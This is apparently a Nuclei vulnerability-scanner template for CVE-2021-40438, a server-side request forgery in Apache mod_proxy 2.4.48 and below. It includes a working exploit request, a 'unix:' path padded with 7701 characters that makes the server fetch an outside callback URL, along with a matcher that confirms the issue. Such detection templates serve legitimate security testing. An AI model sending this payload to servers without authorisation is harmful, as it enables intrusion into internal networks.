id: CVE-2021-40438
info:
name: Apache <= 2.4.48 Mod_Proxy SSRF
author: pdteam
severity: critical
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
reference:
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2021-40438
cwe-id: CWE-918
remediation: Upgrade to Apache version 2.4.49 or later.
tags: cve,cve2021,ssrf,apache,mod-proxy
requests:
- method: GET
path:
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
redirects: true
max-redirects: 2
matchers:
- type: word
words:
- "Interactsh Server"
# Enhanced by mp on 2022/04/22